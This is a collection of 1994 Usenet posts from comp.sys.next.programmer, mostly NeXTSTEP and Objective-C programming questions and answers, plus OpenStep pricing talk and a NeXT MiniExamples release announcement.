Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Any way to get ALL class/instance methods at run-time? Message-ID: <1994Apr7.224417.23601@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Apr04.203444.7100@cs.ucla.edu> Date: Thu, 7 Apr 1994 22:44:17 GMT Eskandar, the simplest way is for each class you're interested in, init and instance of the class, and then play with the Class objects objc_method structure. You can find out ALL methods that a class respondsTo that way. As far as I know, there is no simpler way of doing what you are asking about. Rik (cousens@biztech.com) In article <1994Apr04.203444.7100@cs.ucla.edu> esky@marathon.cs.ucla.edu (Eskandar Ensafi) writes: > > Hello, > > I was wondering if their was a run-time function for getting a list of all > methods accessible to a certain class. For example, objc_getClasses() returns > a HashTable containing a list of all classes available to an application; do > we have anything along the lines of class_getMethods()? > > Thank you. Please send e-mail if possible. > > - Eskandar > > -- > "Dance with the dead in my dreams > Listen to their hollowed screams > The dead have taken my soul > Temptation's lost all control" -- Dead Skin Mask (Slayer)
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: IB Custom Views NOT initialized in -appDidInit: !??? Message-ID: <1994Apr7.224757.23661@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Apr04.204830.7402@cs.ucla.edu> Date: Thu, 7 Apr 1994 22:47:57 GMT Eskandar, sounds like you need to go down one more level. a Box has a contentView (which is [[someBox subviews] objectAt:0]) You really want to ask [[[someBox contentView] subviews] objectAt:0], I think. Rik (cousens@biztech.com) In article <1994Apr04.204830.7402@cs.ucla.edu> esky@marathon.cs.ucla.edu (Eskandar Ensafi) writes: > > Hello, > > In the main .nib file of a simple program, I have placed a custom subclass of > View (MyView) in a Box. > > I have a Controller object designated as my Application object's delegate in > IB, and it responds to -appDidInit. Controller has an instance variable > 'myView' connected to the MyView object inside the Box object. Within the > -appDidInit:, I tried to get to the Box by calling [myView superview], but it > did not work -- myView's superview was NOT a Box. I then reversed the > situation and connected an instance variable theBox to the Box. I then called > [[[theBox subviews] objectAt:0] name], and the return was the string "View", > NOT "MyView" (again, this was inside -appDidInit). However, outside of the > -appDidInit:, myView was indeed a subview of theBox, and theBox was its > superview. > > So is the main .nib file not fully initialized when -appDidInit: is called? > Is this a bug? Any workarounds? > > Thanks, > -Eskandar > > -- > "Was ich kann und was ich konnte > Weiss ich gar nicht mehr > Gib mir wieder etwas schones > Zieh mich aus dem meer" -- Marian (The Sisters Of Mercy)
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: HELP! NXGetNamedObject("Custom_ShortDescription", self); Message-ID: <1994Apr7.232154.23729@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <CnqMBB.7zM@usenet.ucs.indiana.edu> Date: Thu, 7 Apr 1994 23:21:54 GMT Ben, you're gonna hate this answer. I created a box with two textFields in it, trying to "simulate" your situation. You must call NXGetNamedObject("Custom_aTextField",theSuperView (box?)). The reason it's not working for you is that your probably sending the wrong owner... What a pain, huh? Rik (cousens@biztech.com) In article <CnqMBB.7zM@usenet.ucs.indiana.edu> bbernhar@silver.ucs.indiana.edu (benjamin bernhard) writes: > Hello all, > Hopefully somebody knows the answer, I'm in a rush for an answer... > I'm creating a window that dynamically changes its contents at run > time. The window contains a box, and I copy views (created in IB) into > the box. The views contain a set of text fields. I know their names, > (and the names are properly set in IB) but want to get the ID's. Here > is what I do: > if ([NXApp loadNibSection:buffer owner:self]==Nil) > NXRunAlertPanel("Alert", "didn't open UI", "OK", NULL, NULL); > /* the un-archived nib sets my outlet delegate equal to its window */ > aDelegateView=[delegate contentView]; > [aDelegateView getFrame:&aDelegateRect]; > [aBox getFrame:&aBoxRect]; > [aBox setContentView:aDelegateView]; > [aDelegateView setFrame:&aBoxRect]; > /* need to resize window here */ > NXNameObject("Custom", aDelegateView, self); > [aBox display]; > > this works, I can use NXGetNamedObject on Custom and rotate it or whatever. > Now, to get the id of "aTextField" (The actual names are kept in a > database, related to this UI) I've tried: > aField.theId=NXGetNamedObject("Custom_aTextField", self); > and lots of other combinations, with no luck. Is anybody else doing > this? > > Help is much appreciated. > I can be reached by e-mail or at 812-339-5140 > (If you are in Europe, please use e-mail :-) > > thanks, > ben > > -- > __________________________________________________________________________ > Ben Bernhard "Nothing that results from human progress > 812/339-5304 (fax) is achieved with unanimous consent." > bbernhar@cs.indiana.edu ---Christopher Columbus
From: hship@sinistar (Howard Ship) Newsgroups: comp.sys.next.programmer Subject: Re: Application's directory Date: 8 Apr 1994 13:03:17 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2o3kml$om0@transfer.stratus.com> References: <ohdCqO_00iV7ID080C@andrew.cmu.edu> In article <ohdCqO_00iV7ID080C@andrew.cmu.edu> "Thomas G. Mon" <tm31+@andrew.cmu.edu> writes: > How does one get the full path name of the directory of running > application from within the application itself? > > Tom. > tm31@andrew.cmu.edu [NeXTmail welcome] Well, you can get the application's bundle (that is, its .app wrapper) with the class method [NXBundle mainBundle]. That let's you use: directory - (const char *)directory Returns a pointer to the full pathname of the receiver's bundle directory. See also: - initForDirectory: -- Yow! We're going to a new disco! Howard Ship hship@zen.cac.stratus.com [NeXT Mail OK] `84 Gpz 750 -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.UQF,5QF M<W=I<W,@2&5L=F5T:6-A.UQF,EQF=&5C:"!3>6UB;VP[7&8S7&9N:6P@5&EM M97,M4F]M86X[?0I<;6%R9VPQ,C`*7&UA<F=R,3(P"EQP87)D7'1X,3$U,EQT M>#(S,#1<='@S-#4V7'1X-#8P.%QT>#4W-C!<='@V.3$R7'1X.#`V-%QT>#DR M,39<='@Q,#,V.%QT>#$Q-3(P7&8P7&(P7&DP7'5L;F]N95QF<S(T7&9C,%QC M9C`@26X@87)T:6-L92`\;VAD0W%/7S`P:58W240P.#!#0&%N9')E=RYC;74N M961U/B`B5&AO;6%S($<N($UO;B(@/'1M,S$K0&%N9')E=RYC;74N961U/B!W M<FET97,Z7`H^($AO=R!D;V5S(&]N92!G970@=&AE(&9U;&P@<&%T:"!N86UE M(&]F('1H92!D:7)E8W1O<GD@;V8@<G5N;FEN9UP*/B!A<'!L:6-A=&EO;B!F M<F]M('=I=&AI;B!T:&4@87!P;&EC871I;VX@:71S96QF/UP*/B!<"CX@5&]M M+EP*/B!T;3,Q0&%N9')E=RYC;74N961U(%M.95A4;6%I;"!W96QC;VUE75P* M7`I796QL+"!Y;W4@8V%N(&=E="!T:&4@87!P;&EC871I;VXG<R!B=6YD;&4@ M*'1H870@:7,L(&ET<R`*7&(@+F%P<`I<8C`@('=R87!P97(I('=I=&@@=&AE M(&-L87-S(&UE=&AO9"`*7&(@6TY80G5N9&QE(&UA:6Y"=6YD;&5="EQB,"`N M7`I<"E1H870@;&5T)W,@>6]U('5S93I<"EP*"EQP87)D7&8Q7&)<9G,R.%QF M:2TS.#!<;&DR-#@P7&9C,%QC9C`@9&ER96-T;W)Y7`H*7&8R7&(P7&9I+3<V M,%QL:3,R-#`@+0I<9C,@("AC;VYS="!C:&%R("HI"EQB(&1I<F5C=&]R>5P* M"EQP87)D7'1X,C0X,%QT>#(X-C!<='@S,C0P7&(P7&9S,39<;&DR,3`P7&9C M,%QC9C`@7`H*7&9S,C@@4F5T=7)N<R!A('!O:6YT97(@=&\@=&AE(&9U;&P@ M<&%T:&YA;64@;V8@=&AE(')E8V5I=F5R)W,@8G5N9&QE(&1I<F5C=&]R>2Y< M"@I<9G,Q-B!<"@I<9C%<8EQF<S(X(%-E92!A;'-O.B`@"EQF,EQB,"`M"EQF M,R`@"EQB(&EN:71&;W)$:7)E8W1O<GDZ7`H*7'!A<F1<='@Q,30P7'1X,C,P M,%QT>#,T-#!<='@T-C`P7'1X-3<V,%QT>#8Y,#!<='@X,#8P7'1X.3(P,%QT M>#$P,S8P7'1X,3$U,C!<9F,P7&-F,"!<"@I<<&%R9%QT>#4R,%QT>#$P-C!< M='@Q-C`P7'1X,C$R,%QT>#(V-C!<='@S,C`P7'1X,S<R,%QT>#0R-C!<='@T M.#`P7'1X-3,R,%QF,5QB,%QF<S(T7&9C,%QC9C`@+2U<"EEO=R$@(%=E)W)E M(&=O:6YG('1O(&$@;F5W(&1I<V-O(5P*(%P*2&]W87)D(%-H:7`@(&AS:&EP M0'IE;BYC86,N<W1R871U<RYC;VT@(%M.95A4($UA:6P@3TM=("!@.#0@1W!Z M(#<U,%P*"EQP87)D7'1X,C0X,%QT>#(X-C!<='@S,C0P7&8S7&)<9G,R.%QL <:3(Q,#!<9F,P7&-F,"!<"@I<9G,Q-B!<"@I]"G@S `
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.sun.misc,comp.sys.next.advocacy,comp.sys.next.programmer Subject: Re: SUNSOFT AND NeXT REACH FIRST MILESTONE IN OPENSTEP INITIATIVE Followup-To: comp.sys.next.advocacy Date: 8 Apr 1994 15:39:49 GMT Organization: Massachusetts Institute of Technology Message-ID: <2o3ts5$5p5@senator-bedfellow.MIT.EDU> References: <2nv417$ntu@garuda.csulb.edu> <Cnv471.Ip4@irvine.com> In article <Cnv471.Ip4@irvine.com> jsweet@irvine.com (Jerry Sweet) writes: >> The OpenStep Developer Starter Kit is available immediately for >> Solaris Developer Conference attendees for a special conference >> price of $995. The kit is also available from authorized SunSoft >> resellers, including SunExpress, for $3,995, which includes 30 >> days of free technical support. >Hahahaha! They've GOT to be kidding. If they want developers to try >it, it had better be priced below $250, at least to start. Better >yet, they should be giving it away free to Solaris developers for a >six-month trial or something like that. >and furthermore it has to compete with so many other things that cost less. This price comparison of dev environments may help (increasing _list_ price) PARC VisualWorks $2995 PowerSoft PowerBuilder $3395 NEXTSTEP Dev 3.2 (intel) $2995 (also need NS User which is $795) NEXTSTEP 3.2 Dev+User TOTAL---$3790 OpenStep Starter Kit (intel) $3995 (includes everything you need)** CenterLine ObjectCenter $3995 (Need ViewCenter to compete) CenterLine ViewCenter $2495 CenterLine TOTAL--------------$6490 VISIX Galaxy $12,000 **Note, OpenStep starter kit is simply NEXTSTEP/Intel 3.2 User and Developer with some minor changes, plus some documentation needed for porting NEXTSTEP applications to OpenStep. It appears NEXTSTEP/OpenStep aren't priced that far out of contention, if at all. Furthermore, from my understanding, NEXTSTEP is the most advanced system of those listed. You are getting quite a 'bang for your buck' with NEXTSTEP. Also remember that NeXT has been selling NEXTSTEP User and Developer for the last few months at $995. The list price for NS is high, but it allows NeXT to sell the techology at 'sale' prices, and it allows them to offer volume discounts. Also, if you are in education, the entire NEXTSTEP environment is only $299. Quite a bargain. I was shocked by the initial price at first too, but if you think about it a while, it sort of makes sense. Eric
Newsgroups: comp.sys.next.programmer From: lamb@eqt.ch (Alexander Lamb) Subject: Re: Code for DBTableView Message-ID: <Cny9IC.8I0@eunet.ch> Keywords: DBKit Sender: usenet@eunet.ch (News Administrator) Organization: EUnet Switzerland References: <Cnxv8n.LKz@demon.co.uk> Date: Fri, 8 Apr 1994 16:51:47 GMT In article <Cnxv8n.LKz@demon.co.uk> mark@royston.demon.co.uk (Mark Holt) writes: > > Does anybody have any good examples of how to use a DBTableView to display > data that is not held in a database of any description. > > I need to display a set of attributes of objects held in a list and the > NeXT documentation is no use whatsoever. > > Cheers > > Mark > > Mark Holt, mark@royston.demon.co.uk Look at the Ledger example in the Indexing Kit example it does basically what you want ! (I guess it's in the developpers examples... otherwise you'll have to ftp it from the mini examples from ftp.next.com) Hope this helps, Alexander Lamb Expert Quantitative Trading
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: addSupplement:inPath: Message-ID: <Cny6sA.rv@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany Date: Fri, 8 Apr 1994 15:52:57 GMT I wrote: > > Have a path <myBundleDir>/English.lproj/Help/, and in this the > TableOfContents.rtf and all the other files. > > Then: > > [helpPanel addSupplement:"Help" inPath:[currBundle directory]]; > > WARNING: currBundle might be freed during this!!! ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ I was in a hurry last time, and didn't explain this statement. Of course, somebody asked about this. In case other people are wondering, and because this is really tricky, here is my explanation: Assume, you allocated a bundle 'currBundle' in the example, and there was no code from this bundle run time loaded yet. Then you do: [helpPanel addSupplement:"Help" inPath:[currBundle directory]]; NeXT obviously does something similar to this: - addSupplement:(const char *)helpDirectory inPath:(const char *)supplementPath { id bundle; if(bundle=[[NXBundle alloc]initForDirectory:supplementPath]) // // Here the trouble begins: this returns currBundle!!! // From the docs of NXBundle: // // If the application already has an NXBundle object for the // fullPath directory, this method frees the receiver and // returns the existing object. // { char helpPath[MAXPATHLEN+1]; if([bundle getPath: helpPath forResource:helpDirectory ofType:NULL]) { // // Add to NXHelpPanel etc. // } [free bundle]; // // Since no code was runtime loaded yet from // bundle alias currBundle, it gets in fact // freed!!! // } return self; } And you end up with a no longer existing currBundle... A solution would be, if NeXT would come up with something like: - addSupplement:(const char *)helpDirectory fromBundle:bundle As long as they don't, use a subclass of NXBundle, and modify - free to do nothing... BTW: This is valid for 3.0, 3.1 and 3.2 Gerd
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: Bringing all windows forward Message-ID: <Cny7F1.t0@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <1994Apr7.133037.6801@il.us.swissbank.com> Date: Fri, 8 Apr 1994 16:06:36 GMT In NXWorkspaceRequestProtocol.rtf: hideOtherApplications - (void)hideOtherApplications Hides all applications other than the sender. (Since the user can cause the same effect by Command-double-clicking on an application's tile, a programmatic invocation of this method is usually unnecessary.) Gerd In article <1994Apr7.133037.6801@il.us.swissbank.com> bakerb@il.us.swissbank.com (Brian Baker) writes: > Greetings, > > I'm sure you're all familiar with the feature which brings all of an app's > windows to the front when double-clicking upon its app icon. I need to be > able to achieve the same thing programatically. The effect I'm looking > for is that whenever any of the app's windows becomes the main window, all > the other windows should force themselves in front of any windows > belonging to other apps. (Please don't tell me this is disgusting; I'm > well aware of it. But when the client speaks, the consultant obeys.) I > could run through the windowList and order all the windows manually, but > since the feature already exists somewhere, I was hoping there was a > proper way to do this. > > Any help you can give will be greatly appreciated. > > Thanks in advance, > Brian Baker. > bakerb@swissbank.com > bbaker@gronk.plexare.com
From: szakhour@next.com (Sharon Zakhour) Newsgroups: comp.sys.next.programmer Subject: March 94 MiniExample Release -- repost Date: 8 Apr 1994 17:11:35 GMT Organization: NeXT, Inc. Message-ID: <2o4387$406@rosie.next.com> I posted this early this week but I have not seen it yet. Sorry if you have seen this before. Sharon Zakhour NeXT Developer Support March 1994 MiniExamples Release The following MiniExamples have been updated/added to the NeXT archive server (ftp.next.com). These files (and others) are available via anonymous ftp in the directory /pub/NeXTanswers/Files/Software_and_Tools/MiniExamples. You can also request a specific item by number via email by sending email to NeXTanswers@next.com with the ID of the file in the subject line (or specify "help" if you want general information). For example, this email TO: NeXTanswers@next.com SUBJECT: 1256 1257 would retrieve both TTools and ThumbWheel. You need to be able to receive mail with Rich Text attachments in order to receive MiniExamples. AppKit: 1256_TTools.compressed TTools palette (TTools 2.1 requires NEXTSTEP 3.1 or better) This example is an advanced IB Palette primer. Demonstrated features include: how to write a custom connection inspector and custom connector objects; how to palettize Matrix without restricting its prototype cell class; how to add a library target to your palette project so that applications can link in the palette code. Changes since TTools 2.0: Fixed some inspector bugs, added bundle-loading subproject, fixed SwitchView initial-view display problem in Test Interface mode, added ShowMenus subproject, minor documentation modifications, add CircularSlider subproject. 1257_ThumbWheel.compressed ThumbWheel 2.0 palette (NEXTSTEP 3.x Release compliant) The ThumbWheel object includes the functionality of a Slider plus the features you would expect from a real thumbwheel (including 2 3/4 D Graphics!). Changes since ThumbWheel 1.0: ThumbWheel 2.0 makes the following changes: - When a radial ThumbWheel is resized, the dashes retain their ratio with the size (dashes aren't pushed together or spread apart anymore). - ThumbWheel keeps image database for multiple radial ThumbWheels of the same size, color and orientation. - ThumbWheel uses much faster algorithm to generate background image of radial ThumbWheel (10x improvement). - Fixed bug: bounded ThumbWheel at either bound would snap to mouse down value. - Fixed bug: ThumbWheel inspector is slow. - Fixed bug: Sometimes ThumbWheel would draw the word "Cell" on itself. DatabaseKit: 1453_TablePrinterPalette.compressed An InterfaceBuilder palette which nicely formats and prints DBTableViews. Changes Since TablePrinterPalette Version 1 The only major addition to TablePrinterPalette is scaling. DBTableViewPrinter now uses the scaling factor from the PrintInfo object (set by the Page Layout Panel) to calculate the printed page size. In the old version, adjusting the scaling factor would only have had the effect of enlarging or shrinking the printed output. In this version, in addition to enlarging or shrinking the output, it calculates if more or less columns and rows fit on the page and draws accordingly. 1550_RandomTableView.compressed This brand new example implements an arbitrary data source (ie. database independent) following the DBTableDataSources protocol. 1551_StaticRowsTV.compressed A brand new example of how to build a horizontal DBTableView. In order to run this example, you need to have a Sybase server with a pubs database installed. For Oracle users, you can modify the StaticRows.m file to comment out #define SYBASE_DEMO and recompile the application.
From: poplawsk@Colorado.EDU (Orion E. Poplawski) Newsgroups: comp.sys.next.programmer Subject: Sorted Hash Table Date: 8 Apr 1994 17:08:50 GMT Organization: University of Colorado at Boulder Distribution: usa Message-ID: <2o4332$5je@lace.Colorado.EDU> I am working on a sorting scheme for a database I am working on and am looking for suggestions on how to impliment it. Basically, I want to implement a true "library" sorting of titles. For example, the following is a list of titles and how they sort. The Way We Were -> way we were An Indian Summer -> indian summer 99 Balloons -> ninety nine balloons So I figure that what I want is kind of a sorted hash table that is sorted by the values of the keys. I could also do a sorted list - but then I would have to apply my translation routine to the string every time I wanted to compare them - a hash table seems more efficient. I would then step throught the table to display the titles in true alphabetical order. However, I no nothing about the internal operations of hash tables and would have no idea how to had sorting capabilities to them. Any ideas? - Orion Poplawski poplawsk@Colorado.EDU (NeXT mail OK)
Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Debugging bundles in gdb Message-ID: <1994Apr8.143805.15726@planon.qc.ca> Sender: laurent@planon.qc.ca Date: Fri, 8 Apr 1994 14:38:05 GMT Hi netter! I have an application which load some bundles at launch time. I'm in the debugging process and have a problem with these bundles. I can't have a backtrace of any calls in these bundles. I used the gdb command add-file, gdb seems to load the symbols from the file, if I display the list of the known selectors, using info selectors, I can see the methods defined in the bundles. But whenever I try to set a breakpoint to one of the bundle method, gdb tells me that the address is out of bound. What can I do? I don't have great experience in debugging, so, any help, pointer or info would be greatly appreciated! Laurent. -- ****************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
From: poplawsk@Colorado.EDU (Orion E. Poplawski) Newsgroups: comp.sys.next.programmer Subject: Sorted Hash Table Date: 8 Apr 1994 17:09:16 GMT Organization: University of Colorado at Boulder Distribution: usa Message-ID: <2o433s$5jh@lace.Colorado.EDU> I am working on a sorting scheme for a database I am working on and am looking for suggestions on how to impliment it. Basically, I want to implement a true "library" sorting of titles. For example, the following is a list of titles and how they sort. The Way We Were -> way we were An Indian Summer -> indian summer 99 Balloons -> ninety nine balloons So I figure that what I want is kind of a sorted hash table that is sorted by the values of the keys. I could also do a sorted list - but then I would have to apply my translation routine to the string every time I wanted to compare them - a hash table seems more efficient. I would then step throught the table to display the titles in true alphabetical order. However, I no nothing about the internal operations of hash tables and would have no idea how to had sorting capabilities to them. Any ideas? - Orion Poplawski poplawsk@Colorado.EDU (NeXT mail OK)
From: poplawsk@Colorado.EDU (Orion E. Poplawski) Newsgroups: comp.sys.next.programmer Subject: Sorted Hash Table Date: 8 Apr 1994 17:10:00 GMT Organization: University of Colorado at Boulder Distribution: usa Message-ID: <2o4358$5jl@lace.Colorado.EDU> I am working on a sorting scheme for a database I am working on and am looking for suggestions on how to impliment it. Basically, I want to implement a true "library" sorting of titles. For example, the following is a list of titles and how they sort. The Way We Were -> way we were An Indian Summer -> indian summer 99 Balloons -> ninety nine balloons So I figure that what I want is kind of a sorted hash table that is sorted by the values of the keys. I could also do a sorted list - but then I would have to apply my translation routine to the string every time I wanted to compare them - a hash table seems more efficient. I would then step throught the table to display the titles in true alphabetical order. However, I no nothing about the internal operations of hash tables and would have no idea how to had sorting capabilities to them. Any ideas? - Orion Poplawski poplawsk@Colorado.EDU (NeXT mail OK)
From: william@moica.berkeley.edu (William E. Grosso) Newsgroups: comp.sys.next.programmer Subject: Re: Bringing all windows forward Date: 8 Apr 1994 19:13:08 GMT Organization: University of California, Berkeley Message-ID: <2o4ac4$g9e@agate.berkeley.edu> References: <1994Apr7.133037.6801@il.us.swissbank.com> In article <1994Apr7.133037.6801@il.us.swissbank.com> bakerb@il.us.swissbank.com (Brian Baker) writes: > Greetings, > > I could run through the windowList and order all the windows manually, > but since the feature already exists somewhere, I was hoping there was a > proper way to do this. > You don;t need to do it manually. You can just send the windowList a makeObjectsPerform method. e.g. [[NXApp windowList] makeObjectsPerform: @selector(orderFront)]; should work. Bill Grosso
From: eric@skatter.USask.Ca (Eric Norum) Newsgroups: comp.sys.next.programmer Subject: Mach messages to/from DriverKit now working Date: 8 Apr 1994 20:31:41 GMT Organization: University of Saskatchewan, Saskatoon, Canada Distribution: world Message-ID: <2o4evd$8u1@tribune.usask.ca> After trying countless permutations of port names, IPC spaces, etc. I finally have the beginnings of my driver working. Performance, though, is pathetic. I wrote a little test program that: - sends message to loadable server - loadable server sends message to I/O thread - I/O thread replies to loadable server - loadable server replies to test program I repeated this 10,000 times -- checked the wall clock time -- and found that on an otherwise unloaded 486 DX2/66 this took 1.64 milliseconds per pass. Yuck! 1.6 msec for a system call? My PDP-11/23 system was just as fast as that! I guess I'll see if a UNIX-style driver is any faster. TTFN -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
Newsgroups: comp.sys.next.programmer From: david@zion.com(David J. Ferrero) Subject: IBPalette subclass init problems Message-ID: <1994Apr8.132854.4368@zion.com> Sender: david@zion.com Organization: Zion Software & Consulting Date: Fri, 8 Apr 1994 13:28:54 GMT Hi all: I am having difficulty getting changes made to a custom palette via the inspector to show up in the selected customview in the new window. I know the connections are working since in test mode, the changes which were made in the inspectors are evident, and they are also saved and work in the compiled program. What do I have to do to get the changes to occur when I'm not in test mode, but using IB? Many thanks, David Ferrero david@zion.com
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Application Directory In-Reply-To: "Thomas G. Mon"'s message of Fri, 8 Apr 1994 02:26:18 -0400 To: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Message-ID: <CEDMAN.94Apr8081356@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <ohdDY_y00iV7MD08U3@andrew.cmu.edu> Date: Fri, 8 Apr 1994 12:13:55 GMT In article <ohdDY_y00iV7MD08U3@andrew.cmu.edu> "Thomas G. Mon" <tm31+@andrew.cmu.edu> writes: Q: How do I get the full pathname of the executable file's directory from within my application after it has been launched? [ other solution deleted ] That is the old-fashioned solution. Modern applications should use [NXBundle mainBundle] under almost all circumstances. Carl Edman
From: claspac@tallis.ucsc.edu (Jas-Russell) Newsgroups: comp.sys.next.programmer Subject: IEEE/ISO/RFC standards for C code? Date: 9 Apr 1994 03:52:51 GMT Organization: University of California, Santa Cruz Message-ID: <2o58qj$naf@darkstar.UCSC.EDU> I teach a class in C programming and a student asked me if there were any accepted standards for "style" in C. Variable and type naming conventions, curly brace on same line or below, indenting, etc. I already teach about ANSI and POSIX as standards providing descriptions of functions and header files available, but I haven't seen any RFCs or other documents about style? Anybody know of books or other sources for this kind of thing? Please drop a quick e-mail to me. Thanks! -- Name: Will Russell E-mail: claspac@cats.ucsc.edu Voice: 408-459-2060 FAX: 408-429-0146
Newsgroups: comp.sys.next.programmer From: marsu@palumbia.in-berlin.de (Henrik Hempelmann) Subject: Re: Help: How to get 4600 Internet-tiffs in the NewsGrazer and mail.app Content-Type: text/plain; charset=iso-8859-1 Message-ID: <Cnyp2o.5wy@palumbia.in-berlin.de> Content-Transfer-Encoding: 8bit Organization: Palumbia, Home of the marsupilami References: <1994Apr8.110753.713@rafa.in-berlin.de> Mime-Version: 1.0 Date: Fri, 8 Apr 1994 22:27:59 GMT ralf@rafa.in-berlin.de (Ralf Neumann) writes: >Hello, >I have about 4600 pictures from the Internet for >/LocalLibrary/Images/Pictures. >I want to see these pictures inside the NewsGrazer and the mail.app. >With a small amount of pictures (I tried about 200 ) I have no problems at all >to install them with the folowing shell comands: ># ./makemailpic >always the shell tells me: >/makemailpic: /bin/ls: arg list too long >./makemailpic: /bin/ls: arg list too long >The contens of the makemailpic is >#!/bin/sh >echo "# aliases file for Internet Format" >>aliases >/bin/ls -1 *.tiff | sed 's/.tiff$//; h; s/\./@/; G; s/\n/: /'>>aliases >echo "# passwd file" >>passwd >/bin/ls -1 *.tiff | sed 's/.tiff$/::10000::.:noshell/;' >>passwd You can change 'ls -1 *.tiff' to 'find . -name \*.tiff -print' Henrik -- marsu@palumbia.in-berlin.de (NeXT-Mail) Henrik Hempelmann marsu@cs.tu-berlin.de >> Why should I tidy my room, when the whole world is in a mess ??? <<
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: IEEE/ISO/RFC standards for C code? Date: 9 Apr 1994 04:29:40 GMT Organization: San Francisco State University Message-ID: <2o5avk$ehn@news.csus.edu> References: <2o58qj$naf@darkstar.UCSC.EDU> In article <2o58qj$naf@darkstar.UCSC.EDU> claspac@tallis.ucsc.edu (Jas-Russell) writes: >I teach a class in C programming and a student asked me >if there were any accepted standards for "style" in C. Eek! Let's hope not... This whole "standards" thing has gotten way out of hand as it is. cb(1), while not perfect, does a pretty reasonable job. -=EPS=-
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Code for DBTableView Message-ID: <Cnz4Ep.19o@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <Cnxv8n.LKz@demon.co.uk> Date: Sat, 9 Apr 1994 03:59:13 GMT Mark Holt writes > Does anybody have any good examples of how to use a DBTableView to display > data that is not held in a database of any description. get the new RandomTableView mini example from NeXT. it shows how to do this pretty simply. ftp ftp.next.com or mail -s help nextanswers@next.com > I need to display a set of attributes of objects held in a list and the > NeXT documentation is no use whatsoever. you noticed that did you ? :-) -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer,comp.sys.next.hardware From: jscoggin@netcom.com (Jerry Scoggins) Subject: Re: Double-headed Cube (multiple motherboards) Message-ID: <jscogginCnznMz.Hou@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) References: <2ncpna$3ap@taco.cc.ncsu.edu> Date: Sat, 9 Apr 1994 10:54:34 GMT eagle@catt.ncsu.edu (Daniel C. L'Hommedieu) sayz: >I recall that, a few years back, people were multiprocessing on their >Cubes, by having multiple motherboards in them, and applying a patch to >the OS. What benefit did this give? For instance, could I have my Cube >use two motherboards in it, and have the OS automagically split up my >tasks between them? (I'm having a bit of trouble explaining exactly >what I want here...do you get that idea?) > >Daniel Daniel, About all I can give you is a sanity check. Yep, I *heard* people did it. However, I never actually saw one, so I suppose it could be an old wifes tale. Yep, it would split up the task between the two. Mach is capable of multiply CPU's. Seems I also remember something about a software patch. Ever notice when you boot with the ROM monitor open, it goes something to the effect... Mach kernel version: NeXT Mach 3.2: Tue Sep 14 19:25:36 PDT 1993; root(rcbuilder):mk-149.30.12.obj~2/RC_m68k/RELEASE_M68K Kernel configured for a single processor only. 1 processor is physically available Processor type: MC680x0 (68040) Processor speed: 33 MHz Processor active: 0 System type: 5 Board revision: 0xf Primary memory available: 32.00 megabytes. Good luck, Jerry jscoggin@netcom.com
From: dv828@cleveland.Freenet.Edu (Frederique Sacristan) Newsgroups: comp.sys.next.programmer Subject: HELP!! memory on a remote disk Date: 9 Apr 1994 13:47:18 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <2o6bl6$8b4@usenet.INS.CWRU.Edu> I want to integrate in my application the information of the memory available on a remote disk. This information is in the WorkSpace.app. Do objects exist to access directly to this information, or NeXT functions, or may I use C functions? Please, mail me, No NeXT Mail ;-( Frederique
From: Uwe Hoffmann Newsgroups: comp.sys.next.programmer Subject: Changes in NS 3.3 for developers Date: 9 Apr 1994 18:43:46 GMT Organization: Forschungszentrum Informatik (FZI), Karlsruhe, Germany Message-ID: <2o6t12$s0v@gate.fzi.de> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Just wanted to point out: Check out NEXTSTEP Expo Brochure in ASCII (posted in c.s.n.a) There are significant changes in NS 3.3 for the developer: - integrated tool set - Foundation Kit with String Classes (Unicode !) and new Collection Classes - shared libraries for everyone !!! (good news for the MiscKit) - Enterprise Objects Framework If anyone knows any details about any of these items and is allowed to talk about it, let's hear it... -- uwe....................................hoffmann@fzi.de (nextmail ok)
